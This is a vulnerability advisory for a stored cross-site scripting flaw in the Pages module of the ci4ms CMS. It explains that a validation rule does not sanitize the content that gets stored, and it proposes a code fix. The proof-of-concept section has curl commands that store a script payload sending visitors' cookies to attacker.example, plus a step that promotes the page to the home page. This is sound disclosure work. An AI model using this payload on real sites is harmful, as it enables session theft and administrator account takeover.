CVE-2026-45270

## Summary The `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo->content` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. ## Details This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The `html_purify` custom rule (`modules/Backend/Validation/CustomRules.php:54`) mutates its first argument by reference: ```php public function html_purify(?string &$str = null, ?string &$error = null): bool { ... $clean = self::sanitizeHtml($str); $str = $clean; self::$cleanCache[md5((string)$str)] = $clean; return true; } ``` CodeIgniter 4's `Validation::processRules()` (`vendor/codeigniter4/framework/system/Validation/Validation.php:344`) invokes the rule as `$set->{$rule}($value, $error)` where `$value` is a local copy populated from request data. Even though the rule signature accepts `$str` by reference, the mutation only updates the local `$value` inside `processRules()`; the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call `CustomRules::getClean(...)` after validation — but no controller in the codebase does so. Pages controller — `modules/Pages/Controllers/Pages.php`: - `Pages::create()` registers the rule at line 82: ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], ``` Then at lines 102–113 it reads the raw POST and inserts it untouched: ```php $langsData = $this->request->getPost('lang') ?? []; ... $this->commonModel->create('pages_langs', [ ... 'content' => $lData['content'], // line 111 — RAW ... ]); ``` - `Pages::update()` mirrors the same pattern at lines 130 and 157: ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], // line 130 ... 'content' => $lData['content'], // line 157 — RAW ``` The row lands in `pages_langs.content`, which is then read by the public-facing `Home::index()` controller (`app/Controllers/Home.php:31-76`) and emitted by the template at `app/Views/templates/default/pages.php:32`: ```php <div id="ci4ms-content"> <?php echo $pageInfo->content ?> // no esc(), raw HTML output </div> ``` `CommonLibrary::parseInTextFunctions()` (`app/Libraries/CommonLibrary.php:45`) is called on `$pageInfo->content` first, but only handles `{{form=...}}` / `{...|...}` shortcode-style replacement — it does no HTML sanitization. This is distinct from the Blog finding: - Different module/controller (`Modules\Pages\Controllers\Pages` vs `Modules\Blog\Controllers\Blog`) - Different table (`pages_langs.content` vs `blog_langs.content`) - Different view file (`templates/{theme}/pages.php` vs `templates/{theme}/blog/post.php`) - Different route (`/<seflink>` matched by `Home::index` vs `/blog/<seflink>`) - Pages can be promoted to the site home page via `Pages::setHomePage` (`modules/Pages/Controllers/Pages.php:206`), broadening blast radius beyond a single slug to every visitor of `/`. Routes are confirmed protected by `backendGuard` for authentication (`modules/Pages/Config/PagesConfig.php:12-17`) and require `pages.create` / `pages.update` Shield permissions (`modules/Pages/Config/Routes.php:4-5`). ## PoC Prerequisite: an account with the `pages.create` (or `pages.update`) permission. In ci4ms this is a non-admin content-author role. Step 1 — log in to backend, capture cookies: ```bash curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \ -d 'email=author@example.com' -d 'password=AuthorPass1!' ``` Step 2 — create a page with a malicious `content` payload: ```bash curl -k -b cookies.txt -X POST https://target/backend/pages/create \ -d 'lang[en][title]=POC' \ -d 'lang[en][seflink]=poc-page-xss' \ -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \ -d 'isActive=1' ``` Expected: redirect to `/backend/pages/1` with `lang('Backend.created')` flashdata. The DB row `pages_langs.content` contains the literal `<script>...</script>` payload. Step 3 — trigger the XSS by visiting the public URL: ``` https://target/poc-page-xss ``` `Home::index()` selects the row, `pages.php:32` emits the raw `<script>` tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to `attacker.example`, enabling full account takeover. Step 4 — broaden blast radius (optional, requires `pages.update`): ```bash curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \ -H 'X-Requested-With: XMLHttpRequest' ``` After this, the malicious page is served at `/` to every visitor, including unauthenticated visitors and admins navigating to the front-end. ## Impact - **Stored XSS in public-facing site:** any visitor to a malicious page slug — or to `/` if the page is set as home — executes the attacker's JavaScript. - **Admin account takeover:** an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire `/backend/*` surface (full CMS administration, user management, file editor, backups, theme upload). - **Privilege escalation:** the attacker only needs `pages.create` (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for **S:C** in the CVSS vector. - **Persistence and broad reach:** the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by. ## Recommended Fix Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing `sanitizeHtml` / `getClean` helper explicitly when persisting the content. In `modules/Pages/Controllers/Pages.php`: ```php use Modules\Backend\Validation\CustomRules; // Pages::create() — replace line 111 $this->commonModel->create('pages_langs', [ 'pages_id' => $insertID, 'lang' => $langCode, 'title' => strip_tags(trim($lData['title'])), 'seflink' => strip_tags(trim($lData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')), 'seo' => $seoData ]); // Pages::update() — replace line 157 $langUpdate = [ 'title' => strip_tags(trim($lData['title'])), 'seflink' => strip_tags(trim($lData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')), 'seo' => $seoData ]; ``` Apply the same pattern in every other module that uses `html_purify` (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the `html_purify` rule to operate on `$data` so the validator stores the sanitized result via `getValidated()` rather than relying on a reference mutation that the framework discards.